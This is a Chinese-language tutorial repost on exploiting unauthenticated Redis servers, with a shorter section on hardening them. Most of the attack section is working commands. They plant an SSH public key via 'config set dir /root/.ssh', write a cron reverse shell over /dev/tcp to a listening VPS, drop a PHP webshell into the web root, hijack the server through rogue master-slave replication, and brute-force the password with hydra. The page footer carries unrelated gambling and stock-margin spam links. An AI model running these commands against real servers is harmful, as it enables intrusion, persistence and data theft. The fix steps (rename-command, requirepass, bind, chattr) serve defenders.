安基網 首頁 安全 攻防案例 查看內容

Redis未授權getshell及修復方案

2020-5-23 23:26| 投稿: xiaotiger |來自: 互聯網


免責聲明:本站系公益性非盈利IT技術普及網,本文由投稿者轉載自互聯網的公開文章,文末均已注明出處,其內容和圖片版權歸原網站或作者所有,文中所述不代表本站觀點,若有無意侵權或轉載不當之處請從網站右下角聯系我們處理,謝謝合作!

摘要: 應用介紹虛的不說了,簡單點說就是一個日志型數據庫,并有主從同步的功能(優化性能)。漏洞介紹默認配置下redis并沒有設置密碼,被攻擊者惡意利用可以導致未授權訪問,可以有多種利用方式:服務器權限被獲取和數據刪除、泄露、加密勒索、植入yam2 minerd 挖礦程序、watch-smartd挖礦木馬等安裝redisdo ...

應用介紹

虛的不說了,簡單點說就是一個日志型數據庫,并有主從同步的功能(優化性能)。

漏洞介紹

默認配置下redis并沒有設置密碼,被攻擊者惡意利用可以導致未授權訪問,可以有多種利用方式:服務器權限被獲取和數據刪除、泄露、加密勒索、植入yam2 minerd 挖礦程序、watch-smartd挖礦木馬等

安裝redis

docker run -itd --name redis-test -p 6379:6379 redis

常用命令

ping:檢測是否連通 且 有權限執行命令

info:讀取Redis敏感數據

keys:

NAMECONTENTkeys *讀取全部key及其對應的值get 讀取某個key值set 增加keyflushall刪除所有keydel key刪除某個key

config:

NAMECONTENTconfig get dir讀取備份目錄config set dir設置備份目錄config get dbfilename讀取備份文件名config set dbfilename設置備份文件名

slaveof:slaveof PORT 設置主從關系

未授權getshell

寫入公鑰

條件:擁有root權限 或 對 /root/.ssh/ 目錄可寫

#vps生成一個公鑰
ssh-keygen -t rsa
#將公鑰寫入靶機的key
cd /root/.ssh
(echo -e "nn"; cat id_rsa.pub; echo -e "nn") > cl4y.txt
cat cl4y.txt | redis-cli -h  -x set cl4y#-x參數是將管道符之前的內容寫入key
config set dir /root/.ssh/#如果沒有權限則無法getshell
config set dbfilename "authorized_keys"
get cl4y
save

crontab定時任務反彈shell

條件:對 /var/spool/cron 目錄可寫

#vps監聽一個端口
nc -lvvp 4444
set cl4y "nn*/1 * * * * /bin/bash -i>&/dev/tcp// 0>&1nn"
config set dir /var/spool/cron#如果沒有權限則無法getshell
config set dbfilename root
save

網站寫馬

條件:已知網站根目錄路徑 且 目錄可寫

config set dir /var/www/html
set cl4y "nnnnnn"
config set dbfilename webshell.php
save

主從復制getshell

條件:這個比較玄學,測試了幾臺機器,只有一臺成功了,咱也不知道為啥,希望師傅們知道的話能跟我說一下。

下載 這個項目然后命令:

#設置主從關系
slaveof
python3 redis-rogue-server.py --rhost  -lhost 

利用hydra暴力破解redis的密碼

使用hydra工具可以對redis進行暴力破解

hydra -P passwd.txt redis://192.168.152.128

修復方案

ban掉高危命令(重啟redis)

#修改 redis.conf 文件,禁用遠程修改 DB 文件地址
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""

#或者通過修改redis.conf文件,改變這些高危命令的名稱
rename-command FLUSHALL "name1"
rename-command CONFIG "name2"
rename-command EVAL "name3"

以低權限運行Redis(重啟redis)

鏈接

Redis 設置密碼(重啟redis)

修改 redis.conf 文件,添加 requirepass mypassword

禁止外網訪問 Redis(重啟redis)

修改 redis.conf 文件,添加或修改 bind 127.0.0.1
在redis3.2之后,redis增加了protected-mode,在這個模式下,非綁定IP或者沒有配置密碼訪問時都會報錯

修改默認端口

修改配置文件redis.conf文件 Port 6379

保證 authorized_keys 文件的安全

阻止其他用戶添加新的公鑰。將 authorized_keys 的權限設置為對擁有者只讀,其他用戶沒有任何權限:chmod 400 ~/.ssh/authorized_keys為保證 authorized_keys 的權限不會被改掉,您還需要設置該文件的 immutable 位權限:chattr +i ~/.ssh/authorized_keys然而,用戶還可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目錄和 authorized_keys 文件。要避免這種情況,需要設置 ~./ssh 的 immutable 權限:chattr +i ~/.ssh

設置防火墻策略  

如果正常業務中Redis服務需要被其他服務器來訪問,可以設置iptables策略僅允許指定的IP來訪問Redis服務。




小編推薦:欲學習電腦技術、系統維護、網絡管理、編程開發和安全攻防等高端IT技術,請 點擊這里 注冊賬號,公開課頻道價值萬元IT培訓教程免費學,讓您少走彎路、事半功倍,好工作升職加薪!

本文出自:https://www.toutiao.com/a6829943280675848708/

免責聲明:本站系公益性非盈利IT技術普及網,本文由投稿者轉載自互聯網的公開文章,文末均已注明出處,其內容和圖片版權歸原網站或作者所有,文中所述不代表本站觀點,若有無意侵權或轉載不當之處請從網站右下角聯系我們處理,謝謝合作!


鮮花

握手

雷人

路過

雞蛋

相關閱讀

最新評論

 最新
返回頂部
洗衣店赚钱联系澳洁 极速pk10计划冠军计划 河北体彩11选五在哪买 陕西十一选五遗漏查询 炒股票新手入门 青海11选五技巧 山东十一选五开奖查询 上海11选5走势图开奖 股票低位放量下跌 配资公司!鑫配资 股票配资交易